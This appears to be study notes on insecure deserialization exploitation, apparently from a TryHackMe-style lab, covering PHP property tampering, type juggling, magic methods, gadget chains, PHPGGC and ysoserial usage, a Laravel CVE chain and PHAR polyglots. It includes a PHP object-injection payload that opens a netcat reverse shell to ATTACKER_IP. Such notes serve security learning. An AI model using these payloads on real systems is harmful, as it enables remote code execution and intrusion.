Insecure Deserialization

Untrusted data getting deserialized into an object. Also called object injection. Danger is not just tampered fields, it’s arbitrary classes being instantiated and their magic methods firing before the app logic even runs.

Identify

White-box: grep for unserialize(, pickle.loads(, readObject(, Marshal.load, YAML.load (not safe_load), BinaryFormatter.

Black-box, look for:

PHP serialize() format

a:2:{s:5:"title";s:12:"My THM Note";}
O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}

Modifying properties

Straight tampering, no gadget needed. Flip a bool, bump a role.

O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}

Change b:0 to b:1, re-encode base64, swap the cookie. Works if the app trusts the deserialized object without re-checking against the DB.

Type juggling via deserialization

Deserialization preserves type, so you can hand a loose-compare check an int where it expected a string.

if ($login['password'] == $password) { /* bypass */ }

Send password as 0 and it can win against any string not starting with a digit (0 == "anything" is true on PHP < 8). 5 == "5 of stuff" also true on all PHP versions since it coerces the leading digits. PHP 8 fixed the pure 0 == "string" case but not the leading-digit one. If you fetched from $_POST directly this trick fails, string stays a string. Only works because deserialize kept the int.

Magic methods (PHP)

Method Fires
__wakeup() on unserialize(), classic RCE hook
__destruct() object destroyed / script end, common gadget-chain kickoff
__toString() object used as string
__sleep() before serialize(), returns props to keep
__serialize() / __unserialize() PHP 7.4+ custom (un)serialize

You can’t rewrite the method body, only control the property values it acts on.

Object injection example

Classes autoloaded or already require’d are fair game even if never intended for deserialization.

class MaliciousUserData {
    public $command = 'nc -e /bin/sh ATTACKER_IP 4444';
    public function __wakeup() { exec($this->command); }
}
$o = new MaliciousUserData();
echo base64_encode(serialize($o));

Hit ?decode=<base64> on a vuln endpoint calling unserialize($_GET['decode']), __wakeup() fires, shell pops on your nc -nvlp 4444 listener.

Gadget chains

A gadget is existing app/library code that does something useful to you when a magic method chain reaches it. You don’t write new code, you just pick which objects to instantiate and let their methods call each other down to a dangerous sink (exec, assert, file write). Kickoff is usually __wakeup/__destruct, sink is a few calls deeper.

PHPGGC (PHP gadget chains)

php phpggc -l                     # list all chains
php phpggc -l Laravel             # filter by framework
php phpggc -b Laravel/RCE3 system whoami   # -b = base64 output

Laravel CVE-2018-15133 (X-XSRF-TOKEN deserialization), full chain:

  1. Leak APP_KEY (used to encrypt the token)
  2. php phpggc Laravel/RCE3 system whoami for the raw payload
  3. Encrypt payload with APP_KEY into the cookie/header format Laravel expects, then send it as X-XSRF-TOKEN
curl target -X POST -H 'X-XSRF-TOKEN: <encrypted payload>'

Ysoserial (Java)

java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.bin

Java 16+: needs --add-opens flags or it won’t run, see the ysoserial README for the full set.

Detection-only chains, useful when you don’t know the target’s libraries:

PHAR deserialization (no unserialize() call needed)

phar:// stream wrapper deserializes PHAR metadata on any filesystem op touching it, even ones that look safe like file_exists(), is_dir(), filemtime().

  1. Build a PHAR with malicious serialized metadata (Phar class, set stub + metadata)
  2. Disguise it as an image (polyglot, valid JPEG header + PHAR data) to slip past upload filters
  3. Get the app to touch it via phar://uploads/evil.jpg/test.txt, __wakeup()/__destruct() fires

Only works if extension/MIME check is weak and some filesystem function later runs on user-supplied path.

Other languages, quick hits

Defence